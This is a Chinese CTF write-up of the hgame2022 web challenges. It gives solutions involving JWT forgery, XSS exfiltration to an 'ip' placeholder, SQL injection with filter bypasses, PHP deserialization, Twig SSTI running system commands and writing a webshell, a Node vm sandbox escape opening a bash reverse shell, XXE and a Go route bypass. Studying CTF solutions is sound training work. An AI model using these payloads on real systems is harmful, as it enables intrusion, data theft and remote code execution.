hgame2022 web
week1
ez_auth
随便注册个账号,丢到https://jwt.io/解密,secret是空的,改成admin,得到token
GET /v1/todo/list HTTP/1.1
Host: whatadminisdoingwhat.mjclouds.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://adminisdoingwhat.mjclouds.com/
token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJJRCI6MCwiVXNlck5hbWUiOiJhZG1pbiIsIlBob25lIjoiIiwiRW1haWwiOiIiLCJleHAiOjE2NDI3MzI5NjgsImlzcyI6Ik1KY2xvdWRzIn0.YYX2DeTpeRJpJqM9Vbr3DIMrV0MAOaNk53VzqtPicLA
Origin: http://adminisdoingwhat.mjclouds.com
Connection: close
蛛蛛...嘿嘿♥我的蛛蛛
爬虫爬到100页,flag在headers里
import requests
import re
def go():
url="https://hgame-spider.vidar.club/5b572441ee?key=yvHWAgnLk0DNnQDiUOYAzWXsnODq7mELHvYDgRFKpEkC%2FsDVkoVIYtg90%2F7PlRw4TdvToBS7Yq4hVcRWr%2Fch7g%3D%3D"
while(1):
res=requests.get(url=url)
print(res.text)
key=getKey(res.text)
url="https://hgame-spider.vidar.club/5b572441ee?"+key
def getKey(text):
pattern = re.compile('href="\?(.*?)"')
key = str(re.search(pattern=pattern, string=text).groups()[0])
return key
if __name__=="__main__":
go()
Tetris plus
访问view-source:https://game.summ3r.top/Tetris/js/checking.js看到jsfuck,丢到控制台得到flag
Fujiwara Tofu Shop
一串抽象headers....
GET / HTTP/1.1
Host: shop.summ3r.top
User-Agent:Hachi-Roku
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: _ga=GA1.2.1878958506.1642681012; _gid=GA1.2.1855424483.1642681012; __gads=ID=877a8288f5059d3f-2253dfab07d000ad:T=1642681012:RT=1642681012:S=ALNI_MZqr51gMyIVAufhagPFtLIBIB3WQg;flavor=Raspberry
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Referer:qiumingshan.net
Max-Forwards:100
Gasoline: 100
x-real-ip:127.0.0.1
week2
Apache!
CVE-2021-40438,payload略
webpack-engine
开盒,css源码藏flag
At0m的留言板
xss,控制img标签。两种方法:
外带:
<img src=x onerror=document.body.appendChild(document.createElement('script')).src='ip/?get='+document.getElementsByTagName('script')[0].innerText;>
靠传回的截图:
<img src="xxx.png" onerror=javascript:document.getElementsByClassName('content')[0].innerText=document.getElementsByTagName('script')[0].innerText;>
Pokemon
注入点在./error.php。后端把关键词直接替换为空字符,重写绕过;制表符绕过空格;like绕=
表名
http://121.43.141.153:60056/error.php?code=1%09uniunionon%09seleselectct%091%2C%28seleselectct%09table_name%09frfromom%09infoorrmation_schema.tables%09whwhereere%09table_schema%09like%09database%28%29%09limit%091%2C1%29
字段
http://121.43.141.153:60056/error.php?code=1%09uniunionon%09seleselectct%091%2C%28seleselectct%09flag%09frfromom%09fllllllllaaaaaag%29
一本单词书
代码审计,输入直接就反序列化了。控制key,不要控制value,否则会变成字符串没法逃
A|O:4:"Evil":2:{s:4:"file";s:5:"/flag";s:4:"flag";N;}
week3
SecurityCenter
twig ssti,注入点在url参数
http://146.56.223.34:60036/redirect.php?url={{["base64 /flag"]|map("system")}}
写马也行
http://146.56.223.34:60036/redirect.php?url={{{"<?php+echo(file_get_contents('/flag'));phpinfo();":"/var/www/html/ibuki.php"}|map("file_put_contents")}}
Vidar shop demo
逻辑漏洞,删除未支付的订单可以退款
login me
sqlmap,数据库是sqlite
week4
Markdown Online
首先绕登录验证
function LoginController(req, res) {
if (req.body.username === "admin" && req.body.password.length === 16) {
try {
req.body.password = req.body.password.toUpperCase()
if (req.body.password !== '54gkj7n8uo55vbo2') {
return res.status(403).json({msg: 'invalid username or password'})
}
} catch (__) {}
req.session['unique_id'] = randString.generate(16)
res.json({msg: 'ok'})
} else {
res.status(403).json({msg: 'login failed'})
}
}
官方wp是利用catch之后没return,触发报错从而绕过return。
{"username":"admin","passowrd":{"length": 16}}
也可以利用js弱类型比较,传一个任意内容,长度为16的数组绕
{"username":"admin","passowrd": ["5","4","g","k","j","7","n","8","u","o","5","5","v","b","o","2"] }
然后就是网站的核心功能: md转html了。提交md后网站会转为html,然后bot会访问。做的时候严重怀疑是xss,但是出不了网xd。遂gg
看了wp发现是原型链污染逃逸vm沙箱,然后rce(学到了学到了
触发点在SubmitController
function SubmitController(req, res) {
if (req.body.code && typeof req.body.code === 'string') {
const code = req.body.code
const source = md.render(code)
const browser = new Browser()
browser.load(source, e => {
const source = hljs.highlight(browser.html(), {language: "html"}).value
res.json({source})
})
} else {
res.status(500).send("code is required")
}
}
引用官方wp的话:
接下来就是 markdown 预览功能了,markdown 解析用的是 markdown-it 库,并且开启了对 html 标签
的支持, 也就是说 markdown 源码里的 html 标签会被保留而不是被转义。
在 SubmitController 里,markdown-it 解析出来的 html 代码会被 zombie.js 加载,zobmie.js 在遇到
JavaScript 代码的时候会将其交给 vm 虚拟机执行
官方文档上有一句警告: The vm module is not a security mechanism. Do not use it to run
untrusted code. 。实际上 vm 模块可以逃逸, JavaScript 对象的继承是靠原型链实现的,借助原型链可访问到 vm 沙箱以外的内容,实现 RCE
所以解题思路就是利用 markdown-it 不转义 html 标签的条件,构造一个恶意的 script 标签,利用其中的
代码来逃逸 vm 沙箱并实现 RCE 。
网上很容易找到 vm 逃逸相关的 payload:
this.__proto__.constructor.constructor('return process')
().mainModule.require('child_process').execSync('calc')
不过得 bypass 一下 waf
利用 JavaScript 的语言特性, obj.contructor 可以变为 obj["contr"+"uctor"] 的形式, + 也被 ban
了,可以用concat拼接字符串的形式: obj["constru".concat("ctor")]
this 和 process 可以用 eval("th"+"is") 的形式绕过。
由于没有 ban 掉 eval,其实绕过 waf 的方法很多,可以将要执行的代码base64编码,或者
String.fromCharCode 来构造,交个大家自由发挥了(逃。
payload
<script>eval('thi'.concat('s'))['__proto_'.concat('_')]['constructo'.concat('r')]['constructo'.concat('r')]('return proces'.concat('s'))()['mainModule']['require']('child_proces'.concat('s'))['execSync']('bash -i >& /dev/tcp/ip/2333 0>&1')</script>
然鹅疼讯云经典ping不通,复现又失败了:< (本地可以打通拿shell,题目环境可以ping本地网络,就是题目环境ping不了vps)
vm/vm2沙箱逃逸参照
NodeJS沙箱逃逸&&vm
comments
一种方法xxe,另外要用data伪协议+base64绕下面这个正则
if ($attrs->sender == 'admin' && !preg_match('/admin/i', $str)) {
$flag = 'hgame{xxxxx}';
$attrs->content = $flag;
}
payload:
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY foo SYSTEM "data://text/plain;base64,YWRtaW4=">
]>
<comment><sender>&foo;</sender>
<content>
123
</content></comment>
或者用xml实体编码绕
<comment><sender>admin</sender>
<content>
123
</content></comment>
FileSystem
很魔幻的一题,go语言在处理HandleFunc时如果方法为connect,访问路径为/../或//可以绕开路由限制。具体原理拜读wp
package main
import (
"log"
"net/http"
)
func fileHandler(w http.ResponseWriter, r *http.Request) {
http.FileServer(http.Dir("./")).ServeHTTP(w, r)
}
func main() {
http.HandleFunc("/", fileHandler)
http.HandleFunc("/there_may_be_a_flag", func(w http.ResponseWriter, r *http.Request) {
w.Write([]byte(`No! You can't see the flag!`))
})
log.Fatal(http.ListenAndServe(":8889", nil))
}
curl -X CONNECT --path-as-is
http://filesystem.hgame.homeboyc.cn//there_may_be_a_flag
补充一下,curl命令中
-X指定方法
--path-as-is url斜杠不转码